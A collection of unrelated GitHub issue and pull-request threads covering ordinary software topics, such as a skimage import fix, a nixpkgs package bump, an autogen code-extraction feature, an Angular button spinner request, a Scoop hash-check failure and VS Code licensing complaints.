i've added this to #1155, that pr contains some general fixes by now

Thank you!


Fix skimage error

Questions：
from skimage.draw import pad
ImportError: cannot import name 'circle' from 'skimage.draw'
Solve：
from skimage.draw import ellipse as circle

Still can't upload an own video...

@AliaksandrSiarohin Fixed by #565.


From the top!

After spending almost a year now learning more about programming languages, I feel more confident in giving this another try. I want to do it from the beginning, so this is a huge rewrite.
Roadmap

[x] Create language's grammar
[x] Lexer
[x] Parser / AST
[x] Type Checking
[ ] Runtime
[ ] Compiler

I feel comfortable merging this into the main branch now and working off of it there instead.


Add Python 3.12 to stable now that PyBuilder supports it

Pull Request Test Coverage Report for Build<PHONE_NUMBER>
Details

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+0.03%) to 87.273%

Totals

Change from base Build<PHONE_NUMBER>:
0.03%

Covered Lines:
260

Relevant Lines:
288

💛  - Coveralls


python311Packages.flask-compress: 1.14 -> 1.15

Diff: https://github.com/colour-science/flask-compress/compare/refs/tags/v1.14...v1.15
Changelog: https://github.com/colour-science/flask-compress/blob/v1.15/CHANGELOG.md
Description of changes

Things done

Built on platform(s)

[ ] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

For non-Linux: Is sandboxing enabled in nix.conf? (See Nix manual)

[ ] sandbox = relaxed
[ ] sandbox = true

[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
24.11 Release Notes (or backporting 23.11 and 24.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[ ] Fits CONTRIBUTING.md.

Add a :+1: reaction to pull requests you find important.

Result of nixpkgs-review pr 339261 run on x86_64-linux 1

24 packages built:

alerta-server
alerta-server.dist
archivy
archivy.dist
changedetection-io
changedetection-io.dist
flexget
flexget.dist
gdbgui
gdbgui.dist
onionshare
onionshare-gui
onionshare-gui.dist
onionshare.dist
pgadmin4
pgadmin4-desktopmode
pgadmin4-desktopmode.dist
pgadmin4.dist
pyload-ng
pyload-ng.dist
python311Packages.flask-compress
python311Packages.flask-compress.dist
python312Packages.flask-compress
python312Packages.flask-compress.dist


As a new user of the Chicago Design System, how can I integrate my Bootstrap 4 theme from React

For React, JSP frameworks, or other web UI systems, how can vendors and City of Chicago employees ingest this system.

There are several libraries for the most popular MVVM frameworks:
Angular:
https://ng-bootstrap.github.io/#/home
React:
https://react-bootstrap.github.io/
VueJS
https://bootstrap-vue.js.org/
For those is simple it would just require adding our customized version plus the appropriate framework lib. These just make it simpler and more intuitive to use the bootstrap components.
If needed , we could create a special lib for our specific components (header, footer, etc) however the markup for these is simple enough y that might not be needed.
JSP should be easy enough as it is the same as building a regular page, however how the JSPs are constructed depends on the framework used. Maybe @dpmesa can provide a recommendation based on what he currently uses


Extact_code can detect single-line code now

Why are these changes needed?
A parameter is added. Default to False.
When True, it will also detect single-line code.
For instance,
data = """
hello, how are you.
You can run python main.py
Or, you can write
1 + 1 == 2
print(3)

Formated stuff here
and there

Otherwise, do source download.sh for it.
I would also want to extract variable x.
Is that ok?
"""
extract_code(data, detect_single_line_code=True)
We will get
[('UNKNOWN', 'python main.py'),
 ('python', '1 + 1 == 2\nprint(3)'),
 ('UNKNOWN', 'Formated stuff here\nand there'),
 ('UNKNOWN', 'source download.sh'),
 ('UNKNOWN', 'x')]

Related issue number

Checks

[X] I've included any doc changes needed for https://microsoft.github.io/autogen/. See https://microsoft.github.io/autogen/docs/Contribute#documentation to build and test documentation locally.
[ ] I've added tests (if relevant) corresponding to the changes introduced in this PR.
[X] I've made sure all auto checks have passed.

Codecov Report

Merging #2 (09866da) into main (255ac0e) will decrease coverage by 0.40%.
Report is 1 commits behind head on main.
The diff coverage is 21.42%.

@@            Coverage Diff             @@
##             main       #2      +/-   ##
==========================================
- Coverage   36.54%   36.15%   -0.40%
==========================================
  Files          16       16
  Lines        1773     1784      +11
  Branches      392      396       +4
==========================================
- Hits          648      645       -3
- Misses       1075     1087      +12
- Partials       50       52       +2

Flag
Coverage Δ

unittests
36.15% <21.42%> (-0.34%)
:arrow_down:

Flags with carried forward coverage won't be shown. Click here to find out more.

Files Changed
Coverage Δ

autogen/code_utils.py
39.71% <21.42%> (-3.64%)
:arrow_down:

Could you add test to cover the new code?

@sonichi  @pcdeadeasy

Comments added.
Test case added/modified.


Let assignability checking of generic mapped types decompose intersections on both the source and the target.

Fixes #27484.

Closing this PR unless/until it becomes ready for review.


Add ability to track who you blocked and why

Good for both debugging purposes and to inform the user of what the program is doing.
EX:
Blocklist : he, she, they
Blocked:  Randy @randall120478509824 - "he" [word the program caught] - he/him amogusamogusamogusamogus[copy paste of their bio].

Could add a log of blocks, and link to it from settings and/or context menu. Some TODOs:
Figure out where to store it

is there a browser API to write to disk from extension
if not, can always use storage but perhaps with some cap (e.g. last 100 entries) so it does not grow infinitely

Edge cases
It may not be great if user has many devices and expect to see the same experience between those devices if storing only locally. This may not be a real concern; Firefox and opera are already local only because of the storage implementation.


Show variant selection for all features types on inventory PDP

What is the motivation for adding/enhancing this feature?

The inventory PDP should show all feature types not just size and color.
Maybe this should be a DXP component?

This prevents users from viewing inventory for other variants of a parent product because it's restricted to size and color options.


Expose a gc_commit function

in order to ask for the commit on which the last gc was called

closed by #2110


psiphon3@183: hash check failed

Already fixed as #13204.

Already fixed as #13204.
it still gives out an error

Not still but again. :shrug:
Scoop tracks only major version of psiphon (ClientVersion change, 183 at the moment) and uses unversioned link to download the binary (https://psiphon.ca/psiphon3.exe), so any minor update (ClientBuild change, e.g.<PHONE_NUMBER>4123908) will happen unnoticed by scoop and lead to hash check failure on attempt to download/install.
These cases are usually handled automatically by bot if the issue like this one is raised.
Looks like another minor update took place since #13203/#13204 have been raised, already handled as #13238.
I guess it could be annoying but seems the is at the moment no easy way to track full version changes for psiphon to perform autoupdate properly and at the time.

Damn that's unfortunate


Add spinner to mat-button

Please describe the feature you would like to request.
mat-button clicks often involve an asynchronous operation. Adding a progress spinner or some sort of 'waiting' function makes sense. Disabling the button isn't good enough as it can appear broken to a user.
What is the use-case or motivation for this proposal?
Sometimes async operations can involve a few seconds or more as the server is doing something. Users need a visual cue that they should be waiting.

Cant you add a spinner into the button and disable clicking the button via css?

I don't suspect this will be on the roadmap for a while, but in the meantime you should be able to set this up  by overlaying the button with a spinner like @andreElrico suggested
Here's an example of this: https://stackblitz.com/edit/angular-k5a64z?file=app/button-overview-example.ts

Shame this won't be done for a while - especially since it's part of the material spec.
This project does it very nicely, but 'native' support would be great.
https://github.com/michaeldoye/mat-progress-buttons
Demo: https://mat-progress-buttons.firebaseapp.com/home
For simple 'Save' functionality these are a very nice touch.

Hi, I found a simple trick
      <button *ngIf="!this.SpinerC2" class="space-boton" mat-raised-button color="warn" (click)="getTickets()">
        Update Tickets<mat-icon><mat-progress-spinner diameter="20" mode="indeterminate" strokeWidth="11%">
        </mat-progress-spinner></mat-icon>
      </button>

Put your mat-progress-spiner in a mat-icon tag. it works for me!

Agree this would be a super-useful addition. I'm having trouble figuring out how to implement something like this. Must be a very common scenario. @DavidAlfonsoo suggestion works but don't want to hardcode a diameter. A couple other solutions here involve hardwiring the spinner diameter which is not a good idea. I may end up using the bar progress instead simply because I can dock it to the top of the panel.


fix(admin-monitor): fix a data race in the admin monitor EE-2761

Closes https://github.com/portainer/portainer/issues/6677


Geometry support

To support insert data with geometry.
To support set geometry value.

@ryan-kipawa Test example has been added. The notebook also has been added.


Fix zmq.get_includes and zmq.get_library_dirs

My PR #905 contained two bugs. This PR fixes those two bugs, and adds a quick test case for them.

Great!


Small test fixes

These issues were discovered in vlsi/gradle. The change affect only test sources.

Merged in https://github.com/apache/jmeter/commit/c6289d168d524cbc5135a07f9a5a5ad23d6bf8eb


Create the login screen for student

#18 - Create the UI for login screen for student with all the required fields and buttons.

Commit References :

https://github.com/roshansadath/CareerPaths-SOEN6011Summer2023/commit/9e174c23da01863c63ef5b0bceb4f95ba8463477

8e748613c62db6298ba0e7babcb43a7ac0a76b43

https://github.com/roshansadath/CareerPaths-SOEN6011Summer2023/commit/f6c75210e0bfd3cb6aab2d1bda42ad7e8e33d47c


fix(ui): name, location, platform, image, launch time of assets

Description
Name, location, platform, image and launch time was wrong for ContainerImageInfo and ContainerInfo assets. This PR is fixing them.
Related issue: https://github.com/openclarity/vmclarity/issues/763
Screenshots:

ContainerInfo

ContainerImageInfo

Type of Change
[x] Bug Fix
[ ] New Feature
[ ] Breaking Change
[ ] Refactor
[ ] Documentation
[ ] Other (please describe)
Checklist

[x] I have read the contributing guidelines
[x] Existing issues have been referenced (where applicable)
[x] I have verified this change is not present in other open pull requests
[ ] Functionality is documented
[x] All code style checks pass
[ ] New code contribution is covered by automated tests
[x] All new and existing tests pass

@Tehsmash Could you please take another look on this one?

This might be out of scope for this PR, but looking at the screenshots shared in the description I'm not sure at this is solving the UX issue that we have. It feels like we're trying to squash all the container and container image specific information into the fields that are specific to the VM asset type. For example why does Container Image Info have an "IMAGE" field...
It feels to me like the page needs to adapt to the type of asset that its displaying, and output the common fields "Type", "First Seen", "Last Seen", "Terminated On" first. Then have an Asset Info section which includes:

for VMs, we should use the existing fields although Name should be renamed "Instance ID".
for Container Image assets we should show ImageID, RepoTags and Digests, Architechture, OS, Size.
for Containers it should have "Labels", "Container Name", "Container ID" + Container Image Info like above.

This might be out of scope for this PR, but looking at the screenshots shared in the description I'm not sure at this is solving the UX issue that we have. It feels like we're trying to squash all the container and container image specific information into the fields that are specific to the VM asset type. For example why does Container Image Info have an "IMAGE" field...
It feels to me like the page needs to adapt to the type of asset that its displaying, and output the common fields "Type", "First Seen", "Last Seen", "Terminated On" first. Then have an Asset Info section which includes:
* for VMs, we should use the existing fields although Name should be renamed "Instance ID".

* for Container Image assets we should show ImageID, RepoTags and Digests, Architechture, OS, Size.

* for Containers it should have "Labels", "Container Name", "Container ID" + Container Image Info like above.

Yeah, I've discussed this with @gallotamas last week. The main goal here was to fix what is broken. The presentation layer needs a refactor which will include the rework of the details page for assets based on their types.
But this is definitely out of scope for this PR.
@Tehsmash

Yeah, I've discussed this with @gallotamas last week. The main goal here was to fix what is broken. The presentation layer needs a refactor which will include the rework of the details page for assets based on their types.
But this is definitely out of scope for this PR.
@Tehsmash

OK cool as long as we know because honestly these screens make little to no sense right now

Yes, @gallotamas showed me the different data objects of types in the openapi.yaml file. This is not just out of scope; unfortunately, much longer work is required to fix it.

fixing it properly maybe, but javascript supports If objectType == "ContainerImageInfo" { return one set of HTML} else { return other set of HTML }


chore(nodejs): update client ref docs link in metadata

@fhinkel looks like this library somehow missed getting reference docs published.

I've spoken to @fhinkel, she will take a look!

Opened by mistake, analytic docs should not live on cloud.google.com.


Add phpReAdmin tool

phpReAdmin is a opensource php tool to administrate RethinkDb databases.
Create, rename, update, delete or drop databases, tables and docs, and run ReQL queries in PHP.

Thank you for the PR @billbarsch . I've added a comment to your commit.
Have you signed our CLA yet? http://rethinkdb.com/community/cla/

yes, I signed some days ago

Since you opened #682 with the changes from @danielmewes I'm closing this pull request, and using the other one.

yes, I signed some days ago.
I created a new pull request with the changes
Em quarta-feira, 18 de março de 2015, Daniel Mewes<EMAIL_ADDRESS>escreveu:

Thank you for the PR @billbarsch https://github.com/billbarsch . I've
added a comment to your commit.
Have you signed our CLA yet? http://rethinkdb.com/community/cla/
—
Reply to this email directly or view it on GitHub
https://github.com/rethinkdb/docs/pull/678#issuecomment-83198506.


Selenium grid like console to manage all grid-extras nodes

Hey was not able to find anything....
Is there selenium like console for the grid such that it would give ability to see all grid-extras node on single page?!

You can use the normal selenium grid hub, to see all the nodes attached to your hub ( http://hub_ip:4444 ), but there is currently no high level overview on the hub's grid extras port ( http://hub_ip:3000 ). This is something I thought about adding, but lack of time prevents me.


Decorators are not combined by composeStory

Describe the bug
If your story uses both Component Decorators and Story Decorators only the Story Decorators will work in the test.
To Reproduce
Steps to reproduce the behavior:

Write a story file with two decorators
Apply the first decorator to the default export
apply the second decorator directly to the story
Import the story into a test
use composeStory
expect some behavior from each decorator

Expected behavior
Both decorators should be applied.

I read through the code and it looks like this should work, so I re-tested this morning and it seems to be working fine. 🤷 Must have been gremlins on my machine.


Official download at https://code.visualstudio.com/license has bogus, lengthy legalese additional license although project is easily available under MIT here

Official download at https://code.visualstudio.com/license has bogus, lengthy legalese additional license although project appears to be easily available under just the much shorter MIT licensing from here. This is shady behavior and encourages people to make unofficial packages which do exactly the same but risk incompatibilities just to escape the useless waste of additional legalese terms to agree to.
Why not just make the official version be exactly under the MIT license, and then just offer optional feedback features that don't require ten pages of additional terms to agree to?? That's just silly.

As far as I know the Microsoft-branded build (the one which has the Visual Studio logo and such) does have the extra terms, while the opensource vscode-oss build (the one you get when building from this repo, and has the vscode-oss logo) has MIT.

I am making this ticket not because I don't understand the thing they have done with that separate build, but simply to remark that it seems like a bad idea to have such an extra build. As I said, it drives people to make their own unofficial build just to avoid that.
Personally I sure lost interest in the branded one once I saw that lengthy page of legal stuff for an MIT open-source project I was supposed to agree to. No thanks. Does Microsoft want people to make extra unofficial builds because theirs sucks/is overly corporate legalese for no good reason? That seems like a bad thing.

Yes @bgse you're correct, you can see https://github.com/Microsoft/vscode/issues/60#issuecomment-161792005 for a detailed write up on the issue.

Well I guess that means it's not going to be changed. What a shame...
You should at least consider also putting pre-built packages here on github as downloads which don't have this annoying licensing on top that nobody needs.


Map layers

Hi,
As for input/output channels, Sledge has distinct channels for lanes (baseline, green, and red). However, there is no information available regarding the roads, which consist of a set of lanes and drivable areas. I am curious whether this aspect is specifically addressed or currently disregarded.
Thank you!
Hamid

Hi @hamid54
Thanks for this question!
We do not model the surface polygons and of the maps in SLEDGE. We assume a constant lane width of 3m in the Lane & Agent simulation (see here), which is similarly done in DriveSceneGen. In the Lane -> Agent mode, we just used the nuPlan map.
I hope that helps!
Daniel